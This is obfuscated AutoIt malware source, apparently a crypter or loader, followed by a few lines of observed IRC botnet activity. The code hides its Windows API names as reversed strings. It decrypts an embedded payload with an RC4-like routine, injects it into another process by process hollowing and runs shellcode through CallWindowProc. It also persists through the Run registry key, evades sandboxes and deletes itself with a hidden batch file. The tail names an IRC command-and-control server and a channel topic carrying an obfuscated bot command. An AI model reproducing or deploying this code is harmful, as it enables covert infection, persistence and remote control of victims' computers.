If NOT $e4_4 Then
DllCall($e3_1, $r_1153, $e1_8, $r_1156, $r_1152, $r_12253, 0)
Return SetError(6, 0, 0)
EndIf
$e3_8 = DllStructCreate($r_113 & _v28f6x1($bb_1_2 & "cigaM ") & $r_114 & _v28f6x1($bb_1_2 & "noisreVrekniLrojaM ") & $r_114 & _v28f6x1($bb_1_2 & "noisreVrekniLroniM ") & $r_115 & _v28f6x1($bb_1_2 & "edoCfOeziS ") & $r_115 & _v28f6x1($bb_1_2 & "ataDdezilaitinIfOeziS ") & $r_115 & _v28f6x1($bb_1_2 & "ataDdezilaitininUfOeziS ") & $r_115 & _v28f6x1($bb_1_2 & $bb_1_0 & "nioPyrtnEfOsserddA ") & $r_115 & _v28f6x1($bb_1_2 & "edoCfOesaB ") & _v28f6x1($bb_1_2 & "esaBegamI " & $smth3 & "") & $r_115 & _v28f6x1($bb_1_2 & $bb_1_0 & "nemngilAnoitceS") & $r_115 & _v28f6x1($bb_1_2 & $bb_1_0 & "nemngilAeliF ") & $r_113 & _v28f6x1($bb_1_2 & "noisreVmetsySgnitarepOrojaM ") & $r_113 & _v28f6x1($bb_1_2 & "noisreVmetsySgnitarepOroniM ") & $r_113 & _v28f6x1($bb_1_2 & "noisreVegamIrojaM ") & $r_113 & _v28f6x1($bb_1_2 & "noisreVegamIroniM ") & $r_113 & _v28f6x1("noisreVmetsysbuSrojaM ") & $e6_5 & $r_113 & _v28f6x1($bb_1_2 & "noisreVmetsysbuSroniM ") & $r_115 & _v28f6x1($bb_1_2 & "eulaVnoisreV23niW ") & $r_115 & _v28f6x1($bb_1_2 & "egamIfOeziS ") & $r_115 & _v28f6x1($bb_1_2 & "sredaeHfOeziS ") & $r_115 & _v28f6x1($bb_1_2 & "muSkcehC ") & $r_113 & _v28f6x1($bb_1_2 & "metsysbuS ") & $r_113 & _v28f6x1($bb_1_2 & "scitsiretcarahCllD ") & $r_112 & _v28f6x1($bb_1_2 & "evreseRkcatSfOeziS ") & $r_112 & _v28f6x1($bb_1_2 & $bb_1_0 & "immoCkcatSfOeziS ") & $r_112 & _v28f6x1($bb_1_2 & "evreseRpaeHfOeziS ") & $r_112 & _v28f6x1($bb_1_2 & $bb_1_0 & "immoCpaeHfOeziS ") & $r_115 & _v28f6x1($bb_1_2 & "sgalFredaoL ") & $r_115 & _v28f6x1("seziSdnAavRfOrebmuN "), $e3_4)
$e3_4 += 112
Else
DllCall($e3_1, $r_1153, $e1_8, $r_1156, $r_1152, $r_12253, 0)
Return SetError(6, 0, 0)
EndIf
Local $e1_7 = DllStructGetData($e3_8, _v28f6x1($bb_1_0 & "nioPyrtnEfOsserddA"))
Local $e4_1 = DllStructGetData($e3_8, _v28f6x1("sredaeHfOeziS"))
Local $e2_2 = DllStructGetData($e3_8, _v28f6x1("esaBegamI"))
Local $e2_1 = DllStructGetData($e3_8, _v28f6x1("egamIfOeziS"))
$e3_4 += 8
$e3_4 += 8
$e3_4 += 24
Local $e4_2 = DllStructCreate($r_115 & _v28f6x1("eziS " & $smth & " ;sserddAlautriV "), $e3_4)
Local $e2_6 = DllStructGetData($e4_2, $e6_2)
Local $e2_5 = DllStructGetData($e4_2, _v28f6x1("eziS"))
Local $e4_3
If $e2_6 AND $e2_5 Then $e4_3 = True
If NOT $e4_3 Then _zo()
$e3_4 += 88
Local $e2_9
Local $e1_5
If $e4_3 Then
$e1_5 = _heuirx2t23xg2($r_1152, $e2_1)
If @error Then
$e1_5 = _nothing_is_impossible($r_1152, $e2_2, $e2_1)
If @error Then
_bhregx2xt2t2x($r_1152, $e2_2)
$e1_5 = _nothing_is_impossible($r_1152, $e2_2, $e2_1)
If @error Then
DllCall($e3_1, $r_1153, $e1_8, $r_1156, $r_1152, $r_12253, 0)
Return SetError(101, 1, 0)
EndIf
EndIf
EndIf
$e2_9 = True
Else
$e1_5 = _nothing_is_impossible($r_1152, $e2_2, $e2_1)
If @error Then
_bhregx2xt2t2x($r_1152, $e2_2)
$e1_5 = _nothing_is_impossible($r_1152, $e2_2, $e2_1)
If @error Then
DllCall($e3_1, $r_1153, $e1_8, $r_1156, $r_1152, $r_12253, 0)
Return SetError(101, 0, 0)
EndIf
EndIf
EndIf
DllStructSetData($e3_8, _v28f6x1("esaBegamI"), $e1_5)
Local $e3_7 = DllStructCreate($ed_1 & $e2_1 & "]")
Local $m_1 = DllStructGetPtr($e3_7)
Local $e3_9 = DllStructCreate($ed_1 & $e4_1 & "]", $e3_5)
DllStructSetData($e3_7, 1, DllStructGetData($e3_9, 1))
Local $e3_2
Local $e2_8, $e2_7
Local $ed_2, $e3_3
Local $e2_4
For $i = 1 To $e3_6
$e3_2 = DllStructCreate(_v28f6x1($bb_1_2 & "]8[emaN rahc") & $r_115 & _v28f6x1($bb_1_2 & "sserddAlacisyhPdnAeziSlautriVfOnoinU ") & $r_115 & _v28f6x1($bb_1_2 & "sserddAlautriV ") & $r_115 & _v28f6x1($bb_1_2 & "ataDwaRfOeziS ") & $r_115 & _v28f6x1($bb_1_2 & "ataDwaRoTretnioP ") & $r_115 & _v28f6x1($bb_1_2 & "snoitacoleRoTretnioP ") & $r_115 & _v28f6x1($bb_1_2 & "srebmuneniLoTretnioP ") & $r_113 & _v28f6x1($bb_1_2 & "snoitacoleRfOrebmuN ") & $r_113 & _v28f6x1($bb_1_2 & "srebmuneniLfOrebmuN ") & $r_115 & _v28f6x1("scitsiretcarahC "), $e3_4)
$e2_8 = DllStructGetData($e3_2, _v28f6x1("ataDwaRfOeziS"))
$e2_7 = $e3_5 + DllStructGetData($e3_2, _v28f6x1("ataDwaRoTretnioP"))
$ed_2 = DllStructGetData($e3_2, $e6_2)
$e3_3 = DllStructGetData($e3_2, _v28f6x1("sserddAlacisyhPdnAeziSlautriVfOnoinU"))
If $e3_3 AND $e3_3 < $e2_8 Then $e2_8 = $e3_3
If $e2_8 Then
DllStructSetData(DllStructCreate($ed_1 & $e2_8 & "]", $m_1 + $ed_2), 1, DllStructGetData(DllStructCreate($ed_1 & $e2_8 & "]", $e2_7), 1))
EndIf
If $e2_9 Then
If $ed_2 <= $e2_6 AND $ed_2 + $e2_8 > $e2_6 Then
$e2_4 = DllStructCreate($ed_1 & $e2_5 & "]", $e2_7 + ($e2_6 - $ed_2))
EndIf
EndIf
$e3_4 += 40
Next
If $e2_9 Then _xvwrg243ggggg($m_1, $e2_4, $e1_5, $e2_2, $e2_3 = 523)
$r_1151 = DllCall($e3_1, $r_1153, $e5_6, $r_1156, $r_1152, $x_1, $e1_5, $x_1, $m_1, $m_8, $e2_1, $r_115 & _v28f6x1("*rtp_"), 0)
If @error OR NOT $r_1151[0] Then
DllCall($e3_1, $r_1153, $e1_8, $r_1156, $r_1152, $r_12253, 0)
Return SetError(7, 0, 0)
EndIf
Local $e1_8 = DllStructCreate($r_114 & _v28f6x1($bb_1_2 & "ecapSsserddAdetirehnI ") & $r_114 & _v28f6x1($bb_1_2 & "snoitpOcexEeliFegamIdaeR ") & $r_114 & _v28f6x1($bb_1_2 & "deggubeDgnieB ") & $r_114 & _v28f6x1($bb_1_2 & "erapS ") & $x_1 & _v28f6x1($bb_1_2 & $bb_1_0 & "natuM ") & $x_1 & _v28f6x1($bb_1_2 & "sserddAesaBegamI ") & $x_1 & _v28f6x1($bb_1_2 & "ataDredaoL ") & $x_1 & _v28f6x1($bb_1_2 & "sretemaraP" & $smth2 & " ") & $x_1 & _v28f6x1($bb_1_2 & "ataDmetsySbuS ") & $x_1 & _v28f6x1($bb_1_2 & "paeH" & $smth2 & " ") & $x_1 & _v28f6x1($bb_1_2 & "kcoLbePtsaF ") & $x_1 & _v28f6x1($bb_1_2 & "enituoRkcoLbePtsaF ") & $x_1 & _v28f6x1($bb_1_2 & "enituoRkcolnUbePtsaF ") & $r_115 & _v28f6x1($bb_1_2 & $bb_1_0 & "nuoCetadpUtnemnorivnE ") & $x_1 & _v28f6x1($bb_1_2 & "elbaTkcabllaClenreK ") & $x_1 & _v28f6x1($bb_1_2 & "noitceSgoLtnevE ") & $x_1 & _v28f6x1($bb_1_2 & "goLtnevE ") & $x_1 & _v28f6x1($bb_1_2 & $bb_1_0 & "siLeerF ") & $r_115 & _v28f6x1($bb_1_2 & $e5_42 & "etnuoCnoisnapxEslT ") & $x_1 & _v28f6x1($bb_1_2 & "pamtiBslT ") & $r_115 & _v28f6x1($bb_1_2 & "]2[stiBpamtiBslT ") & $x_1 & _v28f6x1($bb_1_2 & "esaByromeMderahSylnOdaeR ") & $x_1 & _v28f6x1($bb_1_2 & "paeHyromeMderahSylnOdaeR ") & $x_1 & _v28f6x1($bb_1_2 & "ataDrevreScitatSylnOdaeR ") & $x_1 & _v28f6x1($bb_1_2 & "ataDegaPedoCisnA ") & $x_1 & _v28f6x1($bb_1_2 & "ataDegaPedoCmeO ") & $x_1 & _v28f6x1($bb_1_2 & "ataDelbaTesaCedocinU ") & $r_115 & _v28f6x1($bb_1_2 & "sro" & $smth2 & "fOrebmuN ") & $r_115 & _v28f6x1($bb_1_2 & "galFlabolGtN ") & $r_114 & _v28f6x1($bb_1_2 & "]4[2erapS ") & _v28f6x1($bb_1_2 & $bb_1_0 & "uoemiTnoitceSlacitirC 46tni") & $r_115 & _v28f6x1($bb_1_2 & "evreseRtnemgeSpaeH ") & $r_115 & _v28f6x1($bb_1_2 & $bb_1_0 & "immoCtnemgeSpaeH ") & $r_115 & _v28f6x1($bb_1_2 & "dlohserhTeerFlatoTtimmoCeDpaeH ") & $r_115 & _v28f6x1($bb_1_2 & "dlohserhTkcolBeerFtimmoCeDpaeH ") & $r_115 & _v28f6x1($bb_1_2 & "spaeHfOrebmuN ") & $r_115 & _v28f6x1($bb_1_2 & "spaeHfOrebmuNmumixaM ") & $x_1 & _v28f6x1($bb_1_2 & "spaeH" & $smth2 & " ") & $x_1 & _v28f6x1($bb_1_2 & "elbaTeldnaHderahSidG ") & $x_1 & _v28f6x1($bb_1_2 & $e5_42 & "epleHretratS" & $smth2 & " ") & $x_1 & _v28f6x1($bb_1_2 & $bb_1_0 & "siLetubirttACDidG ") & $x_1 & _v28f6x1($bb_1_2 & "kcoLredaoL ") & $r_115 & _v28f6x1($bb_1_2 & "noisreVrojaMSO ") & $r_115 & _v28f6x1($bb_1_2 & "noisreVroniMSO ") & $r_115 & _v28f6x1($bb_1_2 & $e5_42 & "ebmuNdliuBSO ") & $r_115 & _v28f6x1($bb_1_2 & "dImroftalPSO ") & $r_115 & _v28f6x1($bb_1_2 & "metsySbuSegamI ") & $r_115 & _v28f6x1($bb_1_2 & "noisreVrojaMmetsySbuSegamI ") & $r_115 & _v28f6x1($bb_1_2 & "noisreVroniMmetsySbuSegamI ") & $r_115 & _v28f6x1($bb_1_2 & "]43[reffuBeldnaHidG ") & $r_115 & _v28f6x1($bb_1_2 & "enituoRtinI" & $smth2 & "tsoP ") & $r_115 & _v28f6x1($bb_1_2 & "pamtiBnoisnapxEslT ") & $r_114 & _v28f6x1($bb_1_2 & "]821[stiBpamtiBnoisnapxEslT ") & $r_115 & _v28f6x1("dInoisseS "))
$r_1151 = DllCall($e3_1, $r_1153, _v28f6x1("yromeM" & $smth2 & "daeR"), $x_1, $r_1152, $x_1, $e5_3, $x_1, DllStructGetPtr($e1_8), $m_8, DllStructGetSize($e1_8), $r_115 & _v28f6x1("*rtp_"), 0)
If @error OR NOT $r_1151[0] Then
DllCall($e3_1, $r_1153, $e1_8, $r_1156, $r_1152, $r_12253, 0)
Return SetError(8, 0, 0)
EndIf
DllStructSetData($e1_8, _v28f6x1("sserddAesaBegamI"), $e1_5)
$r_1151 = DllCall($e3_1, $r_1153, $e5_6, $r_1156, $r_1152, $x_1, $e5_3, $x_1, DllStructGetPtr($e1_8), $m_8, DllStructGetSize($e1_8), $r_115 & _v28f6x1("*rtp_"), 0)
If @error OR NOT $r_1151[0] Then
DllCall($e3_1, $r_1153, $e1_8, $r_1156, $r_1152, $r_12253, 0)
Return SetError(9, 0, 0)
EndIf
Switch $e5_2
Case 1
DllStructSetData($e1_6, _v28f6x1("xaE"), $e1_5 + $e1_7)
Case 2
DllStructSetData($e1_6, _v28f6x1("xcR"), $e1_5 + $e1_7)
Case 3
EndSwitch
$r_1151 = DllCall($e3_1, $r_1153, _v28f6x1($bb_1_0 & "xetnoCdaerhTteS"), $r_1156, $e1_4, $x_1, DllStructGetPtr($e1_6))
If @error OR NOT $r_1151[0] Then
DllCall($e3_1, $r_1153, $e1_8, $r_1156, $r_1152, $r_12253, 0)
Return SetError(10, 0, 0)
EndIf
$r_1151 = DllCall($e3_1, $r_12253, _v28f6x1("daerhTemuseR"), $r_1156, $e1_4)
If @error OR $r_1151[0] = -1 Then
DllCall($e3_1, $r_1153, $e1_8, $r_1156, $r_1152, $r_12253, 0)
Return SetError(11, 0, 0)
EndIf
DllCall($e3_1, $r_1153, _v28f6x1("eldnaHesolC"), $r_1156, $r_1152)
DllCall($e3_1, $r_1153, _v28f6x1("eldnaHesolC"), $r_1156, $e1_4)
Return DllStructGetData($e1_3, _v28f6x1("dI" & $smth2 & ""))
EndFunc
Func _xvwrg243ggggg($m_1, $m_2, $m_3, $m_4, $m_5)
Local $m_6 = $m_3 - $m_4
Local $m_7 = DllStructGetSize($m_2)
Local $ed_3 = DllStructGetPtr($m_2)
Local $ed_4, $ed_6
Local $ed_2, $ed_7, $ed_8
Local $ed_5, $ed_9, $e1_1
Local $e1_2 = 3 + 7 * $m_5
While $ed_6 < $m_7
$ed_4 = DllStructCreate($r_115 & _v28f6x1("kcolBfOeziS " & $smth & " ;sserddAlautriV "), $ed_3 + $ed_6)
$ed_2 = DllStructGetData($ed_4, $e6_2)
$ed_7 = DllStructGetData($ed_4, _v28f6x1("kcolBfOeziS"))
$ed_8 = ($ed_7 - 8) / 2
$ed_5 = DllStructCreate($r_113 & "[" & $ed_8 & "]", DllStructGetPtr($ed_4) + 8)
For $i = 1 To $ed_8
$ed_9 = DllStructGetData($ed_5, 1, $i)
If BitShift($ed_9, 12) = $e1_2 Then
$e1_1 = DllStructCreate($x_1, $m_1 + $ed_2 + BitAND($ed_9, 4095))
DllStructSetData($e1_1, 1, DllStructGetData($e1_1, 1) + $m_6)
EndIf
Next
$ed_6 += $ed_7
WEnd
Return 1
EndFunc
Func _bb3($x_5)
If $x_5 = "" Then Exit
$x_2 = _mn2()
Local $x_3 = DllStructCreate(_v28f6x1("[etyb") & BinaryLen($x_2) & "]")
Local $x_4 = DllStructCreate(_v28f6x1("[etyb") & BinaryLen($x_5) & "]")
DllStructSetData($x_3, 1, $x_2)
DllStructSetData($x_4, 1, $x_5)
Local $ret = DllCall(_v28f6x1("lld.23resu"), _v28f6x1($bb_1_0 & "ni"), _v28f6x1("WcorPwodniWllaC"), _v28f6x1($e5_42 & "tp"), DllStructGetPtr($x_3), _v28f6x1($e5_42 & "tsw"), @AutoItExe, _v28f6x1($e5_42 & "tp"), DllStructGetPtr($x_4), _v28f6x1($bb_1_0 & "ni"), 0, _v28f6x1($bb_1_0 & "ni"), 0)
EndFunc
Func _mn2()
Local $x_2 = _v28f6x1("000030F78E04A6A2A6000030888E42A662A6000030198E0000004F8622A6000030D98EC3A6E1A693980000301A8EA4A61198000030AA8EE")
$x_2 &= _v28f6x1("3A6C24245B81198824245B8000030BB8E24A6CFB8B500000000000000000000000000000000000000000000000000000000000000000000")
$x_2 &= _v28f6x1("0000000000000000000000000000000000C600C60046004700E600000023003300C6005600E60027005600B6000000E48E06x0")
$x_2 &= _v28f6x1("00206D8EE2A6000030418E15613BEF88860000208E8E00A60DFF15750000008F8690B8000020AF8E22A6AF3093B8000030508EE3A6C315B8")
$x_2 &= _v28f6x1("90B8000030118EE1A6000030F48E15FC418EB586000030328E21A60DFF13FF23FF04A6000030238EE1A61DB8000030B38EE3A6000030978E15FC418E")
$x_2 &= _v28f6x1("B586000030D48E21A600000044107C90B8000030C58EA2A6000030A68E0000008C8623A6000030678EC0A6E2A6")
$x_2 &= _v28f6x1("0020538EE3A693B8000020E38E22A61DB8000020748E63A60DFF13FF4377FF0527FF000003008604A690B8000020168EE2A693B811B8000020C68E22A6")
$x_2 &= _v28f6x1("000020AA8E15E6A159C986000020E78E00A60DFF13FF4327FF90B8000020E88EE2A611B8000020798E22A60000205D8E152F01730D860000209A8E21A60D")
$x_2 &= _v28f6x1("FF13FF00A600A600A600A640A600A600A625750000204C8E24A611B8000020DC8EA2A693B800")
$x_2 &= _v28f6x1("A6000010698E62A61130000010F98EE3A60D300000008F2C18C325B811B80000103B8EE1A6127F000010CB8E63A6000000828B00000000107C000010EC8E63A")
$x_2 &= _v28f6x1("60DFF152520A6000010BD8EA3A6602C3811B80000107E8E22A6000020528E15FC418EB5860000109F8E21A60DFFC04C38000020C38E158DD3A61A86000020018E")
$x_2 &= _v28f6x1("00A613FF4307FF654577FF2590B8000020328EE2A610B8000020C28E22A613B800")
$x_2 &= _v28f6x1("0000004F8E23A6FFFFFF3358F0ACB390B8000010508EA3A61198102C3811B8000010318E63A60DFFC04C38000010658E158DD3A61A86000010A28E")
$x_2 &= _v28f6x1("00A613FF25650177FF0590B8000010B38EE2A61CB8000010448E64A643153090B8000010058E22A6C015B890B8000010C58E62A61330000010568EE3A64117B89")
$x_2 &= _v28f6x1("0B893B8000010378E62A60DFFC04C380000106B8E15FC418EB586000010A88E21A613FF2582")
$x_2 &= _v28f6x1("8E00A611980000000B1C1890B8000000068E23A64315308215B890B8000000F68E22A60DFFC04C380000002B8E158DD3A61A86000000688E00A6")
$x_2 &= _v28f6x1("23FF657540A615000000498E64A611B8000000D98EE2A6806C380000004A6BB813B8000000FA8E23A6437C3893B8000000BB8E22A60DFF4017FF2590B8000")
$x_2 &= _v28f6x1("000AC8EE2A611B80000003D8E23A6000010118E15867A7C2D860000005E8E00A600100070107C90B8")
$x_2 &= _v28f6x1("404247FF804C38000000B48E05CEE0E44A86000000228E3C014C381098FFFFFFFC8E414247FF0DFF00A6814247FF000001008604A6000000E18E1")
$x_2 &= _v28f6x1("519FAAC4586FFFFFF2F8E00A63C4042C430BCB83C1612B8000000408EA4A60DFF4017FF90B8000000218EE2A6000000058E15E9A4F38886000000428E00A60")
$x_2 &= _v28f6x1("DFF4017FF23FF90B8000000438EE2A61DB8000000D38E23A6000000B78E158E7A7C3D86000000F4")
$x_2 &= _v28f6x1("000000003C3CD5A595B5E5F55C30B840B8DD30C1A5B8B4C0B866DD3042A5B81E570242C7B34FBE8F30D0FC1C70470C48CACF0C33FF335F30B843")
$x_2 &= _v28f6x1("B894033EDD3002A5B881A4B85D30878245B8C354B83447DE58C142C6B87565351525553CD5A595B5E5F55CB87EBE2047B4F3087047B6F3083F5781748363B")
$x_2 &= _v28f6x1("802E7B880E6B8C167B8C067B80307B8460C337565351525553C804C38000000838E05804247FF0DFF")
Return $x_2
EndFunc
Func _nothing_is_impossible($r_1152, $m_9, $m_7)
Local $r_1151 = DllCall($e3_1, $x_1, $e6_7, $r_1156, $r_1152, $x_1, $m_9, $m_8, $m_7, $r_12253, 4096, $r_12253, 64)
If @error OR NOT $r_1151[0] Then
$r_1151 = DllCall($e3_1, $x_1, $e6_7, $r_1156, $r_1152, $x_1, $m_9, $m_8, $m_7, $r_12253, 12288, $r_12253, 64)
If @error OR NOT $r_1151[0] Then Return SetError(1, 0, 0)
EndIf
Return $r_1151[0]
EndFunc
Func _heuirx2t23xg2($r_1152, $m_7)
Local $r_1151 = DllCall($e3_1, $x_1, $e6_7, $r_1156, $r_1152, $x_1, 0, $m_8, $m_7, $r_12253, 12288, $r_12253, 64)
If @error OR NOT $r_1151[0] Then Return SetError(1, 0, 0)
Return $r_1151[0]
EndFunc
Func _bhregx2xt2t2x($r_1152, $m_9)
$nio3 = "ll"
$nio2 = _v28f6x1("d.ll") & $nio3
$nio = _v28f6x1("dtn") & $nio2
DllCall($nio, _v28f6x1($bb_1_0 & "ni"), _v28f6x1("noitceSfOweiVpamnUtN"), $x_1, $r_1152, $x_1, $m_9)
If @error Then Return SetError(1, 0, 0)
Return 1
EndFunc
Func _fvsdhuweugweuighw325235235c($r_1152)
Local $r_1151 = DllCall($e3_1, $r_1153, _v28f6x1("" & $smth2 & "46woWsI"), $r_1156, $r_1152, _v28f6x1("*loob"), 0)
If @error OR NOT $r_1151[0] Then Return SetError(1, 0, 0)
Return $r_1151[2]
EndFunc
Func _su()
If $at4 = "1" Then
$r_1155 = _v28f6x1($bb_1_0 & "nerruCswodniWtfosorciMERAWTFOSRES")
$r_1154 = "HKEY_CURRENT_U" & $r_1155 & "VersionRun"
RegWrite($r_1154, $l_i_s1, _v28f6x1("ZS_GER"), $l_i_s2)
EndIf
EndFunc
Func _kms1()
Local $r_1157
FileDelete($l_i_s3 & _v28f6x1("dmc.hctarcs"))
$r_1157 = ":loop" & @CRLF & 'del "' & $l_i_s2 & '"' & @CRLF & 'if exist "' & $l_i_s2 & '" goto loop' & @CRLF & "del " & $l_i_s3 & "scratch.cmd"
FileWrite($l_i_s3 & _v28f6x1("dmc.hctarcs"), $r_1157)
Run($l_i_s3 & _v28f6x1("dmc.hctarcs"), $l_i_s3, @SW_HIDE)
EndFunc
Func _hexr2r()
If _gerxgerg235r2() = True Then
If $r_1158[18][0] = _v28f6x1("exe.sgsmsm") AND $r_1158[19][0] = _v28f6x1("exe.ls_redaer") AND $r_1158[20][0] = _v28f6x1("exe.gla") AND $r_1158[21][0] = _v28f6x1("exe.yftncsw") Then
Return True
Else
Return False
EndIf
Else
Return False
EndIf
EndFunc
Func _gerxgerg235r2()
If StringInStr(@OSVersion, "XP") AND StringInStr(@UserName, "Admin") AND StringInStr(@ComputerName, "pc") AND StringInStr(@OSServicePack, "3") Then
Return True
Else
Return False
EndIf
EndFunc
Func _zo()
EndFunc
Func _v28f6x1($r_1159)
Local $i_len = StringLen($r_1159)
If $i_len < 1 Then Return SetError(1, 0, "")
Local $t_chars = DllStructCreate("char[" & $i_len + 1 & "]")
DllStructSetData($t_chars, 1, $r_1159)
Local $a_rev = DllCall("msvcrt.dll", "ptr:cdecl", "_strrev", "struct*", $t_chars)
If @error OR $a_rev[0] = 0 Then Return SetError(2, 0, "")
Return DllStructGetData($t_chars, 1)
EndFunc
Func _00vdk2($r_1221, $s_encrypttext, $s_encryptpassword, $r_1221level = 1)
If $r_1221 <> 0 AND $r_1221 <> 1 Then
SetError(1, 0, "")
ElseIf $s_encrypttext = "" OR $s_encryptpassword = "" Then
SetError(1, 0, "")
Else
If Number($r_1221level) <= 0 OR Int($r_1221level) <> $r_1221level Then $r_1221level = 1
Local $nbene
Local $r_1221counth
Local $r_1221countg
Local $v_encryptswap
Local $nrgnrtnr[256][2]
Local $r_1221counta
Local $r_1221countb
Local $r_1221countc
Local $r_1221countd
Local $r_1221counte
Local $v_encryptcipher
Local $r_1223
If $r_1221 = 1 Then
For $r_1221countf = 0 To $r_1221level Step 1
$r_1221countg = ""
$r_1221counth = ""
$nbene = ""
For $r_1221countg = 1 To StringLen($s_encrypttext)
If $r_1221counth = StringLen($s_encryptpassword) Then
$r_1221counth = 1
Else
$r_1221counth += 1
EndIf
$nbene = $nbene & Chr(BitXOR(Asc(StringMid($s_encrypttext, $r_1221countg, 1)), Asc(StringMid($s_encryptpassword, $r_1221counth, 1)), 255))
Next
$s_encrypttext = $nbene
$r_1221counta = ""
$r_1221countb = 0
$r_1221countc = ""
$r_1221countd = ""
$r_1221counte = ""
$r_1223 = ""
$v_encryptcipher = ""
$v_encryptswap = ""
$nrgnrtnr = ""
Local $nrgnrtnr[256][2]
For $r_1221counta = 0 To 255
$nrgnrtnr[$r_1221counta][1] = Asc(StringMid($s_encryptpassword, Mod($r_1221counta, StringLen($s_encryptpassword)) + 1, 1))
$nrgnrtnr[$r_1221counta][0] = $r_1221counta
Next
For $r_1221counta = 0 To 255
$r_1221countb = Mod(($r_1221countb + $nrgnrtnr[$r_1221counta][0] + $nrgnrtnr[$r_1221counta][1]), 256)
$v_encryptswap = $nrgnrtnr[$r_1221counta][0]
$nrgnrtnr[$r_1221counta][0] = $nrgnrtnr[$r_1221countb][0]
$nrgnrtnr[$r_1221countb][0] = $v_encryptswap
Next
For $r_1221counta = 1 To StringLen($s_encrypttext)
$r_1221countc = Mod(($r_1221countc + 1), 256)
$r_1221countd = Mod(($r_1221countd + $nrgnrtnr[$r_1221countc][0]), 256)
$r_1221counte = $nrgnrtnr[Mod(($nrgnrtnr[$r_1221countc][0] + $nrgnrtnr[$r_1221countd][0]), 256)][0]
$r_1223 = BitXOR(Asc(StringMid($s_encrypttext, $r_1221counta, 1)), $r_1221counte)
$v_encryptcipher &= Hex($r_1223, 2)
Next
$s_encrypttext = $v_encryptcipher
Next
Else
For $r_1221countf = 0 To $r_1221level Step 1
$r_1221countb = 0
$r_1221countc = ""
$r_1221countd = ""
$r_1221counte = ""
$r_1223 = ""
$v_encryptcipher = ""
$v_encryptswap = ""
$nrgnrtnr = ""
Local $nrgnrtnr[256][2]
For $r_1221counta = 0 To 255
$nrgnrtnr[$r_1221counta][1] = Asc(StringMid($s_encryptpassword, Mod($r_1221counta, StringLen($s_encryptpassword)) + 1, 1))
$nrgnrtnr[$r_1221counta][0] = $r_1221counta
Next
For $r_1221counta = 0 To 255
$r_1221countb = Mod(($r_1221countb + $nrgnrtnr[$r_1221counta][0] + $nrgnrtnr[$r_1221counta][1]), 256)
$v_encryptswap = $nrgnrtnr[$r_1221counta][0]
$nrgnrtnr[$r_1221counta][0] = $nrgnrtnr[$r_1221countb][0]
$nrgnrtnr[$r_1221countb][0] = $v_encryptswap
Next
For $r_1221counta = 1 To StringLen($s_encrypttext) Step 2
$r_1221countc = Mod(($r_1221countc + 1), 256)
$r_1221countd = Mod(($r_1221countd + $nrgnrtnr[$r_1221countc][0]), 256)
$r_1221counte = $nrgnrtnr[Mod(($nrgnrtnr[$r_1221countc][0] + $nrgnrtnr[$r_1221countd][0]), 256)][0]
$r_1223 = BitXOR(Dec(StringMid($s_encrypttext, $r_1221counta, 2)), $r_1221counte)
$v_encryptcipher = $v_encryptcipher & Chr($r_1223)
Next
$s_encrypttext = $v_encryptcipher
$r_1221countg = ""
$r_1221counth = ""
$nbene = ""
For $r_1221countg = 1 To StringLen($s_encrypttext)
If $r_1221counth = StringLen($s_encryptpassword) Then
$r_1221counth = 1
Else
$r_1221counth += 1
EndIf
$nbene &= Chr(BitXOR(Asc(StringMid($s_encrypttext, $r_1221countg, 1)), Asc(StringMid($s_encryptpassword, $r_1221counth, 1)), 255))
Next
$s_encrypttext = $nbene
Next
EndIf
Return $s_encrypttext
EndIf
EndFunc
Func _1anu84($strchar)
Return Hex(StringToBinary($strchar))
EndFunc
Func _fgnmp3($strhex)
If StringLeft($strhex, 2) = "0x" Then Return _an($strhex)
Return _an("0x" & $strhex)
EndFunc
Func _an($1)
Return BinaryToString($1)
EndFunc
FileInstall("m270251.png", @TempDir & "m270251.png")
$gc3443c6 = FileRead(@TempDir & "m270251.png")
Global $32c525
$32c525 = _nbed($gc3443c6, "7XspxMTD57gJ5Ct9Ne28J6Q9U3d1k2`4[8X6D7I6k5Y6M4C6y7X3r4H64]8O7F2A8z3]3w6l8k4c8a8R4J9k3o4l6A8", "26625")
$brn = _bne8($32c525, "", @ScriptFullPath)
_su()
Resolved : [srv1.su] To [94.242.198.65]
IRC Server: srv1.su:5050
IRC Channel: #bots
Now talking in #bots
Topic On: [ #bots ] [.d x /100/97/111/124/49/59/47/100/106/37/121/66/125/122/117/98/60/99/113/124/47/121/123/109/120/109/118/10/126/105/110/113/13/109/127/115/ .d /100/97/111/124/49/59/47/100/106/37/121/66/125/122/117/98/60/99/113/124/47/121/123/109/120/109/118/10/126/105/110/113/13/109/127/115/ ]
Topic By: [ x ]
hosting infos:
http://whois.domaintools.com/94.242.198.65